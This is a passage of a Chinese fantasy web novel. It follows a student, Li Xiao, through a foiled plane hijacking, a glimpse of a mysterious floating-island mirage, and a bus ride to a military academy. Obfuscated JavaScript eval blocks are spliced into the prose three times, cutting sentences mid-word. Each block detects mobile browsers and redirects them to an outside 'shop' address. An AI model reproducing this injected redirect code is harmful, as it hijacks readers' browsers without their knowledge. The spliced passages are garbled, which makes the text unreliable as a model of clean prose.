他精准的,一脚便踩住了女劫|机犯刚从黎晓手下挣脱的肩膀。劫|机犯在他脚下惨叫得像一只濒死的猪,她半边身体立刻脱力瘫软而另半边疯狂挣扎起来。成铭踩着她,无动于衷的俯身将黎晓从她身上拉起来。劫|机犯很快便晕厥过去,不再挣扎。 黎晓明明终于脱离困境了,可大概因为先前劫|机犯的哀鸣太不祥了,她感受不到半点松懈,反而感到了陌生的惊恐——她看着成铭,成铭的眼神冷得像个准备行刑的刽子手。 她说,“成铭。” 成铭没有做声,他只偏执的伸出手去,想帮她把被扯开的领口扣好。他的手指冷得像冰,微微有些发抖。 黎晓用力的后退闪开,攥住自己的领口,提高音量,“成铭!” 成铭的动作顿了顿,他扭头避开了黎晓的目光,静静平缓怒气。 片刻后他才生硬的说,“……她身上可能有旁的起|爆物,记得搜身。” 而后他转身,快步向着舱尾走去。 沙利叶也已经解决了她的对手,正把他推在机舱上搜身。她一面搜一面饶有兴致的看向成铭,“导力回路是S?不对,beta的话应该是A+?战术系的?需要定制导力礼装吗?我可以给你打折。” 成铭说,“学校里有免费的。” 沙利叶“切”了一声,说,“那些不好用。你这种级别的回路,就得用特殊定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726849|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制的。” 成铭没有作答,他上前撕开劫|机犯的上衣当绳子,把他绑好,接收了沙利叶的俘虏。 “这个交给我。”他避着目光不肯望向黎晓的方向,只大致指了指女劫|机犯的位置,对沙利叶说,“你去处理那一个。” 黎晓扣好了扣子。 她料想劫|机犯身上应该没有更多花招了——机舱内的爆|炸看上去猛烈,可实际上没对机体造成什么损伤,就只是炸坏了一点的消音棉和阻燃剂罢了。黎晓猜测他们用的东西压根就不是炸|药,而只是装了液氮的微型虹晶纽扣……校运动会常有花式障碍赛跑,黎晓采购过这种纽扣。它的威力只够掀翻一个人,用来当障碍赛里的隐形陷阱刚刚好,算不上管制物品。但如果调整一下晶壳的形状,就能让它释放出激烈旋转着爆开的气流——也能做出碎屑乱飞的爆炸效果。 发动机上的炸|弹姑且不提,能通过安检带到飞机上来的“炸弹”,应该也就只有这种威力了。 在做出了炸|掉一个引擎这么疯狂的举动后,引|爆这种炸弹,反而正暴露了他们的本质——他们不是什么亡命之徒,真正的亡命之徒根本就没必要虚张声势,玩心理战术。 他们真正的目的,应该就如罗曼人自己说的,只是飞机上的某样东西。 ……飞机上究竟搭载了什么东西,竟引来劫机这么大手笔的犯罪? 沙利叶很快便来帮她处理女劫|机犯。 搜身的时候沙利叶啧了下舌——女劫|机犯的肩膀几乎被成铭踩碎了,胳膊软塌塌的挂在皮肉上,已经彻底变形。不及时处理的话,关节里的碎骨片就会要了她的命。 她扭头看了一眼黎晓。 黎晓没做声,只安静的把该搜的地方都搜过一遍——但沙利叶注意到,她尽量避免了会扯到那人肩膀的动作。 “没有异物。”黎晓说,“要把她绑起来吗?” ……总算还有个知道请示长官的。 “我来绑。”沙利叶说,“你先处理一下自己的情绪。” 黎晓没有异议。 她站起身,面朝窗外,深吸了一口气。 成铭的做法没有错,她告诉自己,对方是穷凶极恶的歹徒,而他要优先瓦解对方的行动能力。如果她的力气足够大,在成铭动手前她就应该压破那人的脾脏了。 但她依旧很清楚自己介怀的是什么——是私愤。成铭踩碎那人的肩膀时,胸中盘亘着无法遏止的愤怒,那愤怒令他在面对女性敌人时也依旧没有手下留情。成铭刚刚,其实已经失控了。 而这是她的错。 ——她用omega的性别弱点设置陷阱,根本就没有顾虑到成铭的感受。 黎晓懊恼并且心乱如麻。她叹了口气,强迫自己转移注意力。 乘务组很快便接通了驾驶舱里的密线,向机长通报了机舱里的状况。 片刻后,副机长打开驾驶舱的门,像扔死老鼠一样扔出最后一个劫|机犯——达瓦航空的机长全都曾是战机飞行员,他们驾驶的飞机也许乘坐起来不那么舒服,但绝对不会发生机长被人劫持这种事故。 而后她注意到,乘务组在召集他们。 她看向沙利叶,沙利叶一耸肩,“应该是怕舱内还有旁的炸|弹,想让我们协助排查吧。” “可是,”黎晓有些手忙脚乱,“可是我一点都不懂啊。” “我懂呗,他们冲我来的。”沙利叶露出烦恼的表情,“啊啊啊烦死了,难得有个假期能把自己打扮得美美的,结果连化个眼妆的时间都不给我。” 黎晓这才注意到——她的眼妆才画了一半,其中一只眼睛扫了眼尾而另一只没来得及扫,这让她看上去像是大小眼,又像是其中一只眼睛挨了一拳。随即她又注意到沙利叶的头发——昨天晚上她明明还是金棕色的长发,今天早上就变成蓝色挑白的短发了。 长发时她美艳不可方物,而短发时单看侧脸,那毫无瑕疵的中性美,更让她精致帅气得不像现实中会存在的美人。 “干嘛?”沙利叶留意到她的目光,“摘掉假发就不认识了?” “嗯?”居然是摘掉而不是带上吗?!虽然一般说来,装备师留短发确实会比较方便…… 沙利叶扛起女劫|机犯,“赶紧过去吧,我还想早点忙完去补妆呢。” 19. 云之巅,森之海(六) 五 沙利叶对着镜子仔细的为眼睛上妆,她的身旁歪倒着五个劫机犯,窗外是6000米的高空。他们乘坐的飞机刚刚失去一枚引擎,而机舱内可能还有一颗炸|弹隐而未发。但一切都不能阻止她镇定而专注的把眼影刷扫在眼皮上。 晨星高中来的四个学生都有些小崩溃。 ——根据军官守则,这种情况下,军衔最高的人应该主动担负起指挥这支临时小队的职责。这会儿正是他们最需要指令的时候,而他们的指挥官却忙着化妆,真不知该赞叹她处惊不变,还是该纠结她我行我素。 “不是说会让我们协助排查炸|弹吗?”一如既往,尽管所有人都心怀不满和疑虑,但最先开口提醒的还是黎晓,“我们就坐在这里没问题吗?是不是主动问一下比较好?” 黎晓总觉得这件事还没完——头一次坐飞机就遇到劫机事件,她觉得自己太倒霉了。她是个善于总结和检讨的人,她认为有必要弄清楚自己到底为什么被牵连进这种事故里,弄清楚她被蒙在鼓里的时候,那些知道内情的人在做什么。 沙利叶扣上小镜子,微微凑前,对她勾了勾手指。 黎晓的提问显然让她很满意,那双浅灰蓝色的眼睛一弯,越发的魅惑和危险。黎晓心想这些天生的美人真是毫无自我收敛的美德啊,但还是乖乖的凑过头去。 沙利叶却不是要和她说悄悄话。她勾手抿起耳边的碎发,摘下了一只耳塞,直接给黎晓带上。 尽管黎晓早有准备,却还是立刻就红了脸颊——她一直都很羡慕那些在课间休息时共用同一个耳机分享同一首歌的朋友,但从小到大她都是同龄人敬而远之的对象,根本就没人邀请过她。为了被邀请,她还曾故意坐到落单的同学身边把耳机线露出来,但旁人不但不问她反而以为她在练习小语种听力,而更加不好意思打扰她。 她不太习惯这种自然而然的亲近。 但这种时候她当然得表现得习以为常,不能像个没见过世面的loser。她便咽下疑问,学着自己以前见过并且在想象中练习过的动作,单手掩住另一只耳朵,直接开始听。 ……是机长和塔台之间的对话。 黎晓有些凌乱。 她飞快扫了一眼四周,压低声音提醒沙利叶,“飞行时不是不让开无线电吗?①” “嘘,先听完。” 黎晓纠结了一会儿——最终好奇心和不能辜负友谊的责任感压过了罪恶感,这个从来都没违法乱纪过的优等生,风萧萧兮易水寒的听了下去。 机长刚刚向塔台汇报完他们压制住劫|机犯的事,正在申请返航,“……飞机上可能还有隐藏爆|炸物,请提前安排好排爆小组。另外,我们准备在返航途中简单排查一遍。协助镇压劫|机犯的五名二军大的学生里,有一人是礼装‘谛听’的持有者,我们想请她协助排查,准备临时解除导力屏障,请确认附近空域导力状况。” “收到,正在申请,请等待。” 黎晓低声问道,“你是‘谛听’的持有者?” “嗯。” 黎晓捏了捏耳机——“谛听”是最著名也最年轻的橙字装备,五年前由一位匿名的天才装备师打造,两年前才得到认证,至今仍饱受争议。因为它是一件彻头彻尾的“专属礼装”。旁的专属礼装虽也都是为特定的人量身定做,但只要导力回路满足礼装的发动条件,就算不是持有者也一样能使用它。想要达到“只有持有者才能使用”的效果,往往要添加额外的锁定和验证系统。而“谛听”不一样。它穿在持有者身上是一件神器,可除此之外的人甚至连发动它都做不到。 当初为了测定它的等级,导力协会从全社会招募试用者,招募了三年,没找出第二个能发动它的人。不少人因此质疑,这件礼装根本就是个彻头彻尾的骗局。它引起的争议如此之大,以至于在它拿到橙字评定那年,《装备师》杂志专门为它出了一期外刊,向公众解释这件礼装为什么得到这么高的评价,以免公众怀疑导力协会内部有什么黑幕。 那会儿黎晓还在读高一,没开始怀疑自己是beta,当然更不知道自己只是omega,她还是个有着迷之自信的中二少女。她一边读外刊,一边想这也太酷了吧,这家伙是被礼装选中的人呀! 而“被选中的人”,现在正跟她分享同一个耳机。 考到二军大真是太好了,坐这趟飞机真是太好了,答应跟人换座位真是太好了!黎晓想,人生怎么可以这么苏……不知道那件传说中的神秘礼装的一端,现在是不是就塞在她耳朵里——不不不,就算是沙利叶,应该也不会这么轻率吧。 “‘谛听’的本体不包含耳机。”沙利叶仿佛听到了她的心声一般,不问自答的解释,“别紧张。” “……哦。”黎晓松口气的同时,又稍有些失落。 “如果你喜欢,下飞机后我可以让你试用一下谛听。”沙利叶又微笑道。 黎晓:……所以说,不要这么草率啊! 耳机里再次传来呼叫声,黎晓和沙利叶忙收声细听。 “……申请已被驳回,指挥中心禁止你解除导力屏障。但我依旧可以向你通报周边道理状况,还需要吗?” 短暂的沉默后,机长询问,“你是否提到——飞机上可能还有隐藏爆|炸物,劫|机犯已经炸掉了一个引擎,我们迫切需要立即排查?” “是。”塔台回答,“指挥中心允许你们进行手工排查,但不允许‘谛听’介入。” “手工排查还用他们准许?”机长恼火的顶了一句,“给我接指挥中心。” “……已接通,请转加密频道。” 短暂的杂音之后,耳机里传来一片白噪音。 “切频了。”沙利叶无辜并且惋惜的解释。 黎晓扶住额头,感到百味杂陈——她当然知道切频了,问题是为什么要切频,为什么不允许“谛听”介入啊! 鉴于她们刚刚在搞窃听,黎晓有理由怀疑她们被抓包了。沙利叶很可能是个惯犯,并且已经被官方列入信用黑名单。而自己没有抵抗住诱惑,踏上了和她同样的路。清白的优等生履历已经向她挥手道别了。 “师姐……在官方眼里,你是不是比炸|弹还危险?” 沙利叶居然严肃认真的思索了片刻。 “……这种事请务必立刻否认!”黎晓本来是开玩笑,被她这么一作,居然真有些精神紧张了。 沙利叶笑起来,“逗你的啦。我看是装备界的新星,帝国军工大佬们未来三十年的订单保障。他们爱我还来不及,怎么可能觉得我危险。” 笑过之后,她们心不在焉的各自思考着,但谁都没有把耳机取下来。 黎晓想多听一些。 她其实已经隐约察觉到真正的原因了。 ——是飞机上的那件东西。恐怕这件东西很见不得人,官方不想让外人知道。 之前劫机犯向塔台喊话,塔台肯定会联系能担负起责任的人。 机长想要解除导力屏障时,说的是“准备”而不是“申请”,但塔台回答的却是“提交申请”——恐怕就是向这个人请示。 所以,禁止机长解除导力屏障的那个所谓的“指挥中心”,应该就是这个人。 而根据劫机犯的话,这个人应该既知道飞机上有什么,也知道“‘她’的真相”。 ……黎晓总觉得,自己好像卷入了了不得的黑幕里。 她换了话题,“‘谛听’连静物也能听到吗?” ——如果她的推测没错,那么这件东西肯定被严密收藏和保护着。但官方依旧不允许“谛听”介入,唯一的解释就是,“谛听”可以穿透货舱壁甚至保险柜,“听”取到这件东西的位置乃至它的内容本身。 黎晓想缩小一下范围。 “要看这件静物有多远,多大。”沙利叶说,“理论上,比导力因子大的东西,都能‘听’到。” 黎晓:…… 她忽然想起,在唐人的传说里,谛听是菩萨座下神兽,通灵达意,能聆听万籁并借此辨识万物,尤其擅长倾听人内心的声音。是个上知天文下知地理,中间连你心里在打什么小算盘都一清二楚的狠角色。能以此神兽命名的礼装,狩猎范围不会也这么广吧! “……人心也能听吗?” 沙利叶笑看着她,“你想听谁的心?” 黎晓脸上一红,下意识便扫向成铭的方向——却发现成铭正跟凌河凑在一起,俩人都一副正在窃听敌台的专注模样。 ……他们耳朵上,分明也带着同一副耳机。 黎晓:…… 忽然两人都表情一变,很显然他们终于找对频段,听到声音了。 黎晓正要提醒他们,自己的耳机里忽然也响起杂音——塔台强行把频段切回来了。 “达瓦航空149,紧急情况——西北14千米处发生蜃楼,导力乱流正向四周扩散。请立刻下降到2000,调头南向。重复,请立刻下降到2000,调头南向!” “……收到。” 黎晓和沙利叶对视一眼。 ——是蜃楼,只会发生在大树海上空的,宛若实景一般的厚重虹潮。 机舱里有什么东西关她们什么事?天塌下来,也让她们先看一眼蜃楼再说! 她们同时望向舷窗外。 这时舱内广播也响起,是机长广播。 “我们已越过长城,目前正在大树海边缘飞行。坐在飞机右手边的乘客,恭喜你们,你们可以通过舷窗欣赏到大树海的风光。运气好的话,说不定还能看到蜃楼。当然就算看到蜃楼,咱们也没时间飞近欣赏了——飞机即将180度大调头,全速返回百合花机场。返程可能有些颠簸,请系好安全带,别被甩飞出去。” 伴随着这个声音,飞机开始加速转向和下降。 掠过稀薄的云层,最先进入视野的,是远及地平线的、宛若龙吸水般贯穿森海和云层的柱子——那柱子位于大树海的中心,是人类一直在前进却至今未到达的所在。它被唐人称作不周山而被希伯来人称作巴别塔。不论是游荡在北疆的牧民,还是漂流在南海的海民,一切知晓或不知晓大树海的民族,都有关于森海中心通天的石柱的传说。并且在所有传说中这根柱子都不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726850|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全体——要么被撞断了,要么修建到一半就停工了。 但事实上就算从几千米的高空望去,也依旧看不到它的尽头。 在平时人们是看不到它的。因为越是晴朗、越是适合登高远眺的日子,大树海上空便越是会被虹潮覆盖。那柱子虽高可通天,但它太远了,据推算它距离大树海边缘有两千多公里的路程。丁点儿扰动便会让它消失在视野中。 这一日天气依旧晴朗,但大树海上空却丁点儿虹潮也没有。空气清澈得甚至可以分辨出底下每一颗树木的轮廓,他们才能依稀望见远方的天柱。 没有蜃楼。 不光没蜃楼,事实上连虹潮都没有——黎晓有些小小的失望,心想难道她看到的不是大树海? 眼前的森之大海无限广袤,宛若深秋阔叶林一般五色斑斓,一直延伸向目力所及的地平线。能从几千米之上的高空分辨出轮廓的树木,必然每一棵都是巨树。也许每一棵都跟课本里说的一样,有数千年的树龄,超过百米的高度,自上而下每一层枝叶间都生长着不同的动物、植物和魔兽…… 这应该确实是大树海没错啊。 飞机还在转向和下降,天际的石柱渐渐消失在视野中,大地上树木的轮廓越来越清晰。 忽有一刻,似有树叶窸窣招展的声音传入黎晓耳中。 阳光似乎被什么遮住了。 黎晓不由自主的抬起头。 宛若天空突然破开,有巨大的阴影自裂隙中缓缓的驶出,进入视野。 万籁俱寂。 那是一座遮天蔽日的、硕大无朋的浮游岛屿。 有那么一瞬间,黎晓以为他们就要撞向这岛屿了——舷窗和岛屿底部倒悬的山石紧擦着错开,黎晓甚至可以听到碎石和树藤落在铁皮上的声音。当行至极近处时,有谁的声音猛的灌入她的耳中,如海潮般清晰,又如梦中远方的钟声一样飘渺。明明完全没听清楚,可不知为什么,黎晓竟理所当然的认为,和她说话的是一位跟她差不多年纪的少女。 但下一瞬间,那岛屿倏然间消失了。 如在梦中的寂静和嘈杂也消失了。 黎晓定了定神,发现空中确实有一座浮游岛屿。但它并非近在眼前,而是清晰可辨的,悬挂在遥远的彼方。 “啊……是蜃楼!”“天啊,就跟真的岛子似的!”这时机舱里的惊叹声此起彼伏的响起来,“快看,快看,再不看就看不到了。” 飞机还在大转弯。 那浮游岛屿很快便消失在视野中——他们最终的航向,刚好背离浮游岛的方向。 看到了传说中的“蜃楼”,但不知为何,黎晓丝毫也提不起精神。 那声音还在她的脑海中回响,意味不明,却令人茫然又在意。 好一会儿之后,她才意识到,自己依旧带着沙利叶的耳机。她摘掉耳机还给沙利叶,却发现沙利叶也是一副心不在焉的模样。 她们两个对视着,隐约都从对方眼睛里看到了什么,又都依稀有种想要向对方确认的心情。 但到底想确认什么,黎晓却说不清。 是沙利叶先问,“你也听到了?” 黎晓不知该怎么回答。不论飞机是否和浮游岛撞上了,她的思维都无疑遭遇了空难,她想,这一夜太漫长,自己确实是身心俱疲了,“……好像是。”她说,“但我不确定那是不是我的幻觉。” 那潮水一样的声音,似乎又在她耳中涌起了。 “说说看是什么样的幻觉。” 黎晓疲惫的把自己刚刚看到和听到的东西告诉沙利叶。 沙利叶灰蓝色的眼睛饱含了同情,她拍了拍黎晓的背,“别害怕,你刚刚应该是被导力乱流侵袭了。” 黎晓想了想,这个解释确实说得通。她感到好受多了。但—— “你听到的又是什么?” 沙利叶笑了笑,靠在椅背上闭目养神,“你能猜到的。” 直到下了飞机,黎晓才终于想到——导力乱流能侵扰到她,显然击穿了导力屏障。沙利叶该不会趁此机会,用谛听探查了整个飞机吧?她“听”到了飞机上那件东西? 但等她终于想起询问沙利叶那件东西到底是什么的时候,沙利叶早被一眼看去就是大贵族家仆人的人恭敬的接走了。 而她和成铭四个从嘉洛林区来的乡巴佬,站在帝国最繁忙的候机大厅里,正在研究他们该坐哪一路机场大巴、到哪儿去坐,忽然就听到了手机提示音。 学生会发来消息,让他们到二号出口——学校为新生安排了校车接送。 他们拖着大包小包的行李,跟着汹涌的人群走出机场,而后一眼便看到了学校派来接他们的人——时隔半年之后,陆清源少尉似乎又长高了一些。脱掉伊岚公学那身低调稳重的冬季制服,换上二军大那身被誉为最能凸显肉|体和气质之美——简而言之就是收腰修身的——夏季制服后,陆少尉行走在人群中便如风行走在草原上,所过之处没有一个人的眼神不倒向他。 他也已经发现了他们一行人,正微笑着向他们走来。 -云之巅,森之海完- 20. 此间的少年(一) 〇 黎晓阖上电脑,有些疲倦的揉了揉额头。 校车正平稳的行驶在机场专用的往返公路上,两侧农田绿树,人烟稀少。 和卢瓦截然不同,亚丁是开在荒漠中的百合花。亚丁周边,甚至绵延上千公里内,没有任何一座城市能和亚丁相映生辉。因为亚丁所在这一线边疆,是人类抵御大兽潮的最前线。亚丁是帝国的首都,同时也是帝国的北门锁钥。在人类彻底征服大树海,将掌控能力推进到极北之地之前,财富是不可能毫无顾忌的聚集到这座军事重镇周边的。 亚丁的繁华,更多的是因为加洛林皇帝以无可比拟的魄力,迫使帝国古老的贵族世家们——但凡不想被从权力中心排挤出去,就必须携带着身家财产搬迁到亚丁;更以超凡的远见创办了国立大学和第二军事学院两所年轻却顶尖的名校,使得有抱负的青年源源不断的向这所城市汇聚而来。 而亚丁的繁华也反哺了人类征服大树海的进程。 迁都近百年来,在一代又一代的探索和开拓之下,大树海的边线节节后退。自大树海涌来的兽潮,已很少能接近长城一线了。 这座城市代表着人类锐意进取,永不言败的精神。 从很小很小的时候黎晓就已经知道,自己总有一天会来到亚丁。 只是没料到,最终是以考入第二军事学院的方式,来到这里。 记录好备忘录,浏览过内网简报和二军大专属论坛的置顶消息之后,黎晓暂时也无旁的事可处置。 她太累了,又不想在车上睡,便靠在一旁看别人玩游戏。 车里大部分人都在玩桌游——远赴异乡读大学的新生,总是迫不及待的想在陌生的环境下开拓出新的交际圈,互不了解,无太多话题可聊的情况下,游戏是避免尴尬加深了解的最佳途径。于是在例行的简单的自我介绍之后,负责前来接机的陆清源,便适时向这些精力过剩的新兵们推荐了据说在帝都很流行的“狼人杀”游戏。 顶尖的alpha天生拥有醒目的领袖气质,是人群环绕的中心。 在陆清源的主持下,狼人杀局很顺利的组了起来,参与的人数一局比一局多。 没几局之后,一群人就已经熟到能揭去彬彬有礼的伪装,原形毕露的吆三喝四了。 刚刚那一局成铭显然又在最后关头被投死了,投死他导致战败的两个村民双手合十向他道歉,“你看上去实在太像反派了,一个没忍住……” 成铭恼火的怼回去,“我哪里像反派了?怎么看都是这家伙比较可疑吧!” 而被他指着的浓眉大眼的波斯人淡定喝水,“群众的眼睛是雪亮的,大家显然觉得你比较像反派。” 这时凌河疑惑的开口,“说起来,居鲁士,你刚刚是不是故意引导他们投死我?我好像是你的队友吧?” “……” “身为狼人,当然要杀满全场才刺激。”名叫居鲁士的波斯人一本正经的解释。 “……” “懂了,下把开局先投死他就对了。”凌河总结。 “等等——下一局我可不一定就是狼人了,你们小心别误伤好人啊!” “不管是不是先把他投死就对了——反正他就算是良民,肯定也会杀满全场。” 然而下一场开局没几分钟后,就又传来成铭的怒吼,“为什么被投死的又是我!你们不是要投死居鲁士吗?” “这个……”众人目光飘忽,“就是觉得你比他更危险嘛。” 黎晓:…… 黎晓失笑,心想果然又是这样。 陆少尉——陆清源走到她身边时,黎晓稍稍有些惊讶。 虽说几局过后,不管玩的还是看的基本都已经了解了规则,无需他来控场了,但黎晓能察觉得出来——这游戏本质上是一场社交。虽然陆清源一直在当主持,没有直接参与游戏,但他才是众人关注的核心。 就只是他一直游离在交流之外,没有给旁人太多结交的机会罢了。 她以为换人主持之后,他也会下场和旁人一起玩几轮。 谁知他会往这边来——是因为她看上去太孤僻了,没有融入群体,需要特地关注一番吗? 她和陆清源虽然不熟,但毕竟一起打过大怪兽,战友的亲切感还是有的。 她便向他微笑致意。 陆清源却像是犹豫了片刻,“不去玩一局吗?” 黎晓笑着摇头,“太累了。” “那么要睡一会儿吗?到校区还要两个小时,路程很长。”陆清源提议,“——车座的靠背可以升起来。” “不了,”黎晓连忙拒绝——她并不是很想在这种场合睡觉,她笑着解释,“请不必在意我。” 陆清源很快就理解了她的顾虑,却也没急着离开。他回身替她取了一罐黑咖啡递过来,“旅途还顺利吗?” 他隔了一个座位,在她旁边坐下来。 ——看来确实是担心她无法融入环境,故意来找她聊天的。 据说帝都人最讲风度。如果旁人问了他一个尖锐的问题而他不便回答,通常他会说“是个好问题”。而听到这个答案后,提问的人通常也就不会继续问下去了。 黎晓发现,自己一时还真没有比这更好的答案。 她忍不住笑起来,“——不是很顺利,但也算不上糟糕。” ——飞机降落前,他们五人小组曾被要求“遵循军人守则,在正式的调查结果公布之前,除受到官方讯问外,不得向他人透露任何相关信息”。但飞机降落后,他们却没有收到任何传讯,甚至连笔录都没做,就被放行离开了飞机。 当然,其他乘客似乎需要接受额外的排查。 这是黎晓头一次经历劫机事件,她还真把握不好“相关信息”的边界。 但无论如何,黎晓不希望因为这件事,给自己引来任何不必要的关注——她希望自己的大学生活能平静无扰的展开。 她岔开了话题,“对了,为什么来接机的是陆……同学,学生会已经开始招新了吗?” 陆清源为这个称呼纠结了片刻,语气微妙的回答,“嗯,开放新生报到的同时,社团招新就开始了。不过,我进学生会要更早些——上个月学生会有几名干事被征调外派,急缺人手,碰巧我去申领装备,就被临时征召了。至于为什么是我来接机——因为我对他们说,这趟航班上有我的朋友。顺便一提,”他笑看着黎晓,“我的朋友,包括刚刚称我‘陆同学’的那位。” “……”明明是该尴尬羞愧的场合,黎晓却控制不住唇角的笑意。 被人率直的告白——你是我的朋友,果然在任何情况下都是令人喜悦的。 她于是笑着回答,“荣幸之至。”但唐人的称呼就是这么微妙——在达瓦的风俗里,三个字的名字,若连名带姓叫出来,对朋友而言未免过于生疏;可若只称名字,对异性友人而言则未免过于亲昵。她稍有些困扰的询问,“不知你别的朋友,都是怎么叫你的?” 陆清源正要微笑作答,却忽然卡住了。 ——他这才发现,他的朋友好像很少有人用名字来称呼他,通常他们都以“老大”“长官”“首席”调侃他。但这其实不能怪他,因为争强好胜是alpha的天性,而他强得太无可争议了,以至于在还被天性驱使的年纪里,他就在相当广的领域内深入人心的确定了自己的排位,并且这排位从他幼儿园出道以来,就从来都没变动过。 所以哪怕后来他成长为一个彬彬有礼的无害少年,也从没人想过要改一改对他的称呼。那些一直都是他的朋友的人自不必提,就连后来认识他的人,也都顺理成章的接受了这种称呼。而他,好像也从没意识到哪里不对的,习惯了。 直到他遇到了黎晓——一个他绝对不想被她叫“老大”“长官”“首席”的姑娘。 陆首席面不改色的撒谎道,“就很普通的喊名字——清源,陆清源之类。” 既然如此,黎晓对连名带姓称呼自己朋友的顾忌,也就打消了,她于是笑着说,“嗯,陆清源。” 黎晓毫不犹豫的选择了比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但成铭没有任何反应——他确实只是来取红茶的,对他们的聊天毫无兴趣。 陆清源恍然——确实,几场游戏里成铭不是早早的被狼人干掉,就是在局面不明时被村民投死。在大部分人都既不怎么熟悉游戏流程,又几乎互相不认识的情况下,能取得这种成就实在醒目。单看结果,确实仿佛他被排挤了似的。黎晓会在意,也很正常。 不过就陆清源看来,等到了学校,这群人各自四散之后,他们大部分人能长久记住的,恐怕也只会是成铭。 ——并不是因为他被杀太多次才让人记住,而恰恰是因为他从一开始就让人记住了,所以才会频繁的被大家选中杀掉。 “我想这并不是一件坏事。”他微笑着,点到即止。 而黎晓也只轻轻“嗯”了一声,便又接着说,“对了,你读的是哪个系?” “战术。”陆少尉笑道,“虽然不在同一个系,但我想,我们在实践课上应该会有不少交集。” 果然和成铭一个系,黎晓想——他们应该很快就会意识到对方的特别吧。 她便对陆少尉产生了微妙的,说不上是羡慕还是嫉妒的感受。但说到底,去读导力系也是她自己的选择——她想要找到属于自己的路,她已不想再追着成铭的背影前进了。 战术系和应用导力系的交集,似乎也只有战斗礼装了。 黎晓便想起沙利叶提醒的——陆清源是试穿礼装采集数据的最珍稀也最优良的素材。装备师们想要陆清源,就像流体工程师们想要一个顶配的专属风洞。而目前这个“专属风洞”的申请列表,已经从四年前排到了四年后。 虽然没打算去闯陆少尉的修罗场——因为在她想研究的领域,陆少尉不是必需品。但仔细想想,居然碰巧跟他生在同一个时代,碰巧考入同一所学校,碰巧在入学前就一起打过打怪兽成为朋友——其实也是一件非常幸运,非常令人嫉妒的事吧。 她便再次微笑着,以此作答,“嗯,荣幸之至。” 21. 此间的少年(二) 他们一时之间似乎也没别的话题可聊了。 黎晓太累了,并且此刻没什么谈兴。 而陆清源不确定自己究竟想试探出怎样的结果。 在真正遇到了自己喜欢,而又想要给予尊重的姑娘时,陆清源才发现,那些平权主义者说的——在alpha们眼中,omega只是潜在的性对象和繁衍对象,他们不懂得该如何像一个“受过文明教化的”“不被低级本能支配”的“正常人”那样,去平常的对待一个正常的omega——也许不尽是愤懑偏激的控诉。 他以为自己绝对不是、也不可能成为这样的alpha。但事实上,他确实不知该怎么“平常”的和一个“正常”的omega相处。 ——他拿捏不准边界。 他感到自己像一头闯入瓷器馆的牛,它走向那位美丽的女馆主的每一步,都可能会打碎她的珍宝。 可是让他保持距离不去打扰,也无疑违背了他的本愿。 ——他必须要走向她。既不损害到她,也不引起她的警惕和防备的,走向她。 平生头一次,陆清源希望能学到什么现成有效的范式。然而当他细细寻找时才发现,他的身边,居然甚至不曾有过一例可供他观摩学习的榜样。 陆清源感到自己陷入了微妙的困境,他在心中微微的发笑。 这时有人插嘴道,“学生会今年很缺人吗?那进学生会会不会比往年容易些?” ——他们说话的当口,新一局的狼人杀已进行到第二轮,出局的玩家显然早已留意他们的对话,毫不掩饰自己的意图,迫不及待的加入了讨论。 “临近开学时确实很缺人。”陆清源居然隐隐松了一口气,“开学后还缺不缺就不清楚了。不过据我所知,学生会并不算很难进的社团。” 又有人说,“要说难,肯定是模拟战术社最难进吧!我听说他们的装备都是各大厂资助的在研型号,比正规军先进了好几代。他们还专门租用了全地表最快的超算‘神威之光’,搭建自己的模拟对战系统。每年暑假他们还会去大树海实地演战。去年大军演,二军大派出的对战团几乎全是模拟战术社的。一群没毕业的在校生硬是一路打进了决赛,差一点就把近卫师团拉下马。” “没错没错,我进二军大就是冲着战术社来的。一军大的战术社其实也不错,但就是没二军大这么豪迈奔放。” “一军大的战术社那能叫战术社吗?一军传奇的是他们的兄弟会——白隼俱乐部总听过吧?二军大刚成立时,接连几十年,二军大的毕业生都被人叫‘白隼军团’。” 有人陪陆清源说话,黎晓本来已松懈了精神,准备再次进入旁听模式。但听到“白隼俱乐部”,她却不由又醒了醒神。 ——事实上车里所有人,都因为这个名称而热血沸腾起来。 白隼俱乐部,帝国史上最有名的非官方组织。一切和大兽潮有关的游戏、小说、人物传记……全都绕不开它,因为最初自称“白隼俱乐部”的七人小团体,除一人外,其余六人霸占了后兽潮时代几乎全部军功和九成以上知名度,是《帝国名将录》的绝对主角团——他们带领帝国打赢了二战,平定了内乱,击退了兽潮,追随加洛林皇帝迁都到亚丁,并受命创建了二军大。 他们中有三人先后担任过二军大的校长——当然比之他们担任过的其他职务,譬如初代总理大臣之类,二军大校长或许并不显赫。但威名赫赫的“白隼军团”,正是由此而来。 至于被“除外”的那一人,她在帝国史上也并非籍籍无名。她打退了嘉南人,把嘉洛林区保全在了帝国的版图上——没错,就是帝国的反叛者、嘉洛林人的精神领袖洛珈。 